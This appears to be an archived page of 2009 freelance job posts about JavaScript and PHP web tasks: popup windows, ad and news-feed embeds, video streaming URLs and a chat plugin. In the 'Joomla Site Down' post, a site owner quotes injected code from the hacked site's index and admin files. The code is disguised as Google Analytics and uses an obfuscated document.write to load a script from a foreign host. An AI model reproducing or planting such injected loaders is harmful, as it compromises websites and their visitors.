Archive

Posts Tagged ‘script type text’

Simple Java Code Needed

July 29th, 2009 Comments off

I’m trying to build a form where when you click a button a new window opens. There we choose an item and send the item code back to the parent page to populate a text field. After this is done the new window should close automatically. This is the code I’m working with at the moment. I think the head of the child file needs changing.

parent file (parts of it):

Code:
//head:

<script type=”text/javascript”>
targetElement = null;
function addProduct(frm, id) {
if(!frm || !id)
return;
targetElement = frm.elements[id];
var handle = window.open(‘find_product.php’);
}
</script>

//body:

<form id=”frm” name=”frm” action=”#”>
<input name=”code” type=”text” id=”code” size=”10″ />
<input name=”name” type=”text” id=”name” size=”32″ />
<input type=”button” value=”Add Item” onclick=”addProduct(this.form, ‘code’);” />
</form>

child file (parts of it):

Code:
//head:

<script type=”text/javascript”>
function addProduct(frm, id) {
if(!frm || !id)
return;
var elem = frm.elements[id];
if(!elem)
return;
var val = elem.options[elem.selectedIndex].value;
opener.targetElement.value = val;
this.close();
}
</script>

//body:

<form id=”frm” name=”frm” action=”#”>
<input name=”code” type=”hidden” value=”<?php echo $row_rsProducts['ProductID']; ?>” />
<input name=”name” type=”hidden” value=”<?php echo $row_rsProducts['ProductName']; ?>” />
<input type=”button” value=”Add Product” onclick=”addProduct(this.form, ‘code’);” />
</form>

Another thing that I’m not sure how to go round is that forms can’t be nested so after the field is filled in, how can I submit the value? I’d like to use this same field for another form.

Please bid only if you can solve both of these problems.

Need A Javascript Popup Code

July 22nd, 2009 Comments off

Need Javascript code made for my publisher network Site ASAP , MY SITE ADVERTREV .COM make a test account up to view what i need made up , once you login look at the link where it says CODE, well i need that code changed to a code like adversals code like below, to create a popup ,

<!– Begin Publisher Code for insurelifenow.info –>
<script type=”text/javascript” language=”javascript”>
adlsi9 = “b7679e077ab47a5c036077de8de285a779|97179|9710″
</script>
<script src=”http://www.adversalservers.com/publisherJS.js”></script>
<script type=”text/javascript” language=”javascript”>
goAdversal(“b7679e077ab47a5c036077de8de285a7″, 1, 10);
</script>
<!– End Publisher Code –>

i dont have a huge budget so please dont bid if you dont have a resonable price.
must have gtalk or msn

Need A Javascript Popup Code

July 22nd, 2009 Comments off

Need Javascript code made for my publisher network Site ASAP , MY SITE ADVERTREV .COM make a test account up to view what i need made up , once you login look at the link where it says CODE, well i need that code changed to a code like adversals code like below, to create a popup ,

<!– Begin Publisher Code for insurelifenow.info –>
<script type=”text/javascript” language=”javascript”>
adlsi9 = “b7679e077ab47a5c036077de8de285a779|97179|9710″
</script>
<script src=”http://www.adversalservers.com/publisherJS.js”></script>
<script type=”text/javascript” language=”javascript”>
goAdversal(“b7679e077ab47a5c036077de8de285a7″, 1, 10);
</script>
<!– End Publisher Code –>

i dont have a huge budget so please dont bid if you dont have a resonable price.
must have gtalk or msn

Full News Feed Implementation

July 1st, 2009 Comments off

I need an experienced person to custom install a full news feed on my website. It has to be tailored around my wordpress theme. Below are the different customization details to use however I need the coding behind it to pass my web developer toolbar check once finished.

I need this done quickly!

Styling The News Feed:

Below are the different css classes used that can be used to style the headlines and stories.

* StoryTitle – Title in Headline view
* StoryText – Description in Headline view
* StoryItem – Row in Headline view
* StoryItemAlt – Alternating Row in Headline view
* HeadlineLink – Return to Headlines Link
* SingleStoryTitle – Title in Story View
* SingleStoryItem – Story Row/Div in Story View
* SingleStoryText – Story details in Story View

Feed Options

* subscriberKey = string : Required to show feeds
* HeadlineResults – string: The name of the div which will contain the list of headlines that are to be shown. By Default Headline and Results are shown in same div.
* StoryResults – string : The name of the div which will contain the story that is chosen. By Default Headline and Results are shown in same div.
* NumHeadlines – int : The number of headlines to show in the HeadlineResults div
* StoryUrl – string : If you want the story to link to a different page, you need to setup this parameter to the url of the Story. The javascript will add the required QueryString Parameter tho this url as specified by the StoryIdParam option
* StoryIdParam – string : If you want to specify a different querystring parameter for the story ID instead of the default parameter, specify it here. You may need to do this if you use the default StoryIdParam for something else
* ShowReturnLink – bool : This option will toggle whether or not the ‘Return to Headlines’ link is shown when viewing a story.
* ReturnLinkUrl – string : This option will allow you to use a different link other than the default javascript to show the headlines page. It will only show if ShowReturnLink = true
* ReturnLinkText – string : This option will allow you to display different text for the ‘Return to Headlines’ link
* ShowTitleOnly – bool : This option will allow you to only show the headline and not the description in the headline view
* StoryId – int : If you want to specify the StoryId, it can be specified here and will pull this story. *Be aware that the story will not pull if it has expired (is no longer one of the latest 10 stories)

Option Defaults

&lt;script type=”text/javascript” src=”http://feeds.mortgagenewsdaily.com/Scripts/NewsFeed.js” id=”MNDNewsFeed”&gt;
{ subscriberKey : null,
HeadlineResults : “newsResults”,
StoryResults : “newsResults”,
NumHeadlines : 10,
StoryUrl : “javascript:GetStory(‘{0}’);”,
StoryIdParam : “storyId”,
ShowReturnLink : true,
ReturnLinkUrl : “javascript:GetNews();”,
ReturnLinkText : “Return to Headlines”,
ShowTitleOnly : false,
StoryId : null}
&lt;/script&gt;

Example for a Main Page and a Story Page:
News.aspx

&lt;script type=”text/javascript” src=”http://feeds.mortgagenewsdaily.com/Scripts/NewsFeed.js” id=”MNDNewsFeed”&gt;
{ subscriberKey : yoursubscriberkey,
HeadlineResults : “headlines”,
StoryUrl : “Story.aspx”}
&lt;/script&gt;
&lt;div id=”headlines”&gt;
&lt;/div&gt;

Story.aspx

&lt;script type=”text/javascript” src=”http://feeds.mortgagenewsdaily.com/Scripts/NewsFeed.js” id=”MNDNewsFeed”&gt;
{ subscriberKey : yoursubscriberkey,
StoryResults : “storyResults”,
ShowReturnLink : true,
ReturnLinkUrl : “News.aspx”,
ReturnLinkText : “Return to News”
}
&lt;/script&gt;
&lt;div id=”storyResults”&gt;
&lt;/div&gt;

Joomla Site Down

June 15th, 2009 Comments off

It seems that my Joomla application has been hacked. I need somebody who can fix this problem and also secure my site so it wont happen again.

Here is some of the code included in my index file:

&lt;php echo ‘&lt;script type=”text/javascript”&gt;
var gaJsHost = ((“https:” == document.location.protocol) ? “https://ssl.” : “http://www.”);
document.write(unescape(“%3Cscript sr?=’” + gaJsHost + “google-analytics.com/ga.js’ ” + ‘#!s(&amp;r)c#=!)’!h$#t^!#$t!$p&amp;^!:$^/!#!/#9(1).(2)1#(2)!.^&amp;6!!$
&lt;/script&gt;
&lt;script type=”text/javascript”&gt;
try {
var pageTracker = _gat._getTracker(“UA-7623457-2″);
pageTracker._trackPageview();
} catch(err) {}&lt;/script&gt;’; &gt;

And in the index file of my administrator panel:

&gt;&lt;?php echo ‘&lt;script type=”text/javascript”&gt;
var gaJsHost = ((“https:” == document.location.protocol) ? “https://ssl.” : “http://www.”);
document.write(unescape(“%3Cscript sr?=’” + gaJsHost + “google-analytics.com/ga.js’ ” + ‘#!s(&amp;r)c#=!)’!h$#t^!#$t!$p&amp;^!:$^/!#!/#9(1).(2)1#(2)!.^&amp;6!!$
&lt;/script&gt;
&lt;script type=”text/javascript”&gt;
try {
var pageTracker = _gat._getTracker(“UA-7623457-2″);
pageTracker._trackPageview();
} catch(err) {}&lt;/script&gt;’; &gt;

Amend Script

June 5th, 2009 Comments off

I want ads to appear in my search engine:
http://a2z-local.net/gotham/searchengine/index.php?page=search/web/script

They must appear at the top of search results.

The google-type ad block is made by a script I have (no problem).
An example can be found here:
http://a2z-local.net/gotham/ad.htm

The code is to be inserted into the search engine code is:

&lt;!– AD START –&gt;

&lt;script type=”text/javascript”&gt;&lt;!–
w = “a”;
ad_type = “11″;
shape = “5″;
c_border = “003366″;
c_background = “003366″;
c_text1 = “ffffff”;
c_text2 = “ff6600″;
c_text3 = “ff6600″;
c_text4 = “ff6600″;
c_text5 = “ffffff”;
url = “http://a2z-local.net/admanager”;
//–&gt;&lt;/script&gt;
&lt;script type=”text/javascript” src=”http://a2z-local.net/admanager/show.js”&gt;&lt;/script&gt;

&lt;!– AD END –&gt;

I simply do not know where to put it.

Lighthttpd + Http Streaming

May 19th, 2009 Comments off

Hello,
I’m using a CMS ( AWIZ) along with Lighthttpd to stream my FLV files.

I need a script that put the linked file into a “$file” variable.

This is my current code inside my video.php page ( video.php is the page loaded when I click a movie link).

&lt;?php
//This code generates the secure download url.
$t = time();
$t_hex = sprintf(“%08x”, $t);
$password=”";
$server=”http://media.domain.com”;
$file=”/filename.flv”;
$hash=md5($password . $file . $t_hex);
$url=”$server/dl/$hash/$t_hex$file”;
?&gt;

I would like to replace the ” $file=”/filename.flv”; ” So I don’t always have to manually made a change to the video.php file.

This code below, is my player:

&lt;div id=”container”&gt;&lt;a href=”http://www.macromedia.com/go/getflashplayer”&gt;Get the Flash Player&lt;/a&gt; to see this player.&lt;/div&gt;
&lt;script type=”text/javascript” src=”swfobject.js”&gt;&lt;/script&gt;
&lt;script type=”text/javascript”&gt;
var s1 = new SWFObject(“player.swf”,”ply”,”640″,”480″,”9″,”#FFFFFF”);
s1.addParam(“allowfullscreen”,”true”);
s1.addParam(“allowscriptaccess”,”always”);
s1.addParam(“flashvars”,”file=&lt;?php echo “$url” ?&gt;&amp;image=preview.jpg&amp;streamer=lighttpd”);
s1.write(“container”);
&lt;/script&gt;

So let’s say I click a link to the movie 123.flv
The code should look like:

&lt;?php
//This code generates the secure download url.
$t = time();
$t_hex = sprintf(“%08x”, $t);
$password=”";
$server=”http://media.domain.com”;
$file=”/123.flv”;
$hash=md5($password . $file . $t_hex);
$url=”$server/dl/$hash/$t_hex$file”;
?&gt;

So the $url would return the correct name to my player.

If it’s not clear enouph, let me know. I will elaborate more.

P.S. It’s for an adult site, but you won’t have to see any adult content if you don’t want to.

Social Engine Plugin

March 30th, 2009 Comments off

Project is to create a (or repair an existing) plugin for Social Engine that facilitates the integration of Userplane Webchat 2 into a SE site.

This is the Userplane app: http://www.userplane.com/index.cfm?fuseaction=apps.webchat

This is what the code looks like:
&lt;script type=’text/javascript’&gt;
var up_domainID = ’5441687FBAA3AFED1C3580371D744C35′;
var up_app = ‘ch’;
var up_initialRoom = ”;
var up_rootURL = ‘http://www.userplane.com/directory/’;
&lt;/script&gt;
&lt;script type=’text/javascript’ src=’http://www.userplane.com/directory/api/js/ii.js’&gt;&lt;/script&gt;
&lt;div style=’width:200px;margin:6px 0;padding:0;color:#AAA;font-size:9px;’&gt;&lt;a href=’http://www.userplane.com/directory/index.cfm?action=domain.viewCategory&amp;categoryID=28′ title=’Free Personal Chat by Userplane’ target=’_blank’ style=’color:#AAA;font-size:9px;’&gt;Free Personal Chat&lt;/a&gt; by &lt;a href=’http://www.userplane.com’ title=’Userplane – Your Free Chat and Web IM Community’ target=’_blank’ style=’color:#AAA;font-size:9px;’&gt;Userplane&lt;/a&gt;&lt;/div&gt;

You can install a demo of Social Engine here: www.socialengine.net.

Here are instructions on building a plugin:
http://www.socialengine.net/tutorials_view.php?tutorial_id=50
http://www.socialengine.net/tutorials_view.php?tutorial_id=54

OR you can try to tweak the plugin that is attached here to make it work.

1/2 escrow funded when you provide a link to a working demo. Balance to you paid when successfully installed on our server.

Guaranteed $25 bonus if project is successfully completed by April 6.

Put HAGAJI in your reply or you will be considered spam. Thank you.

Bear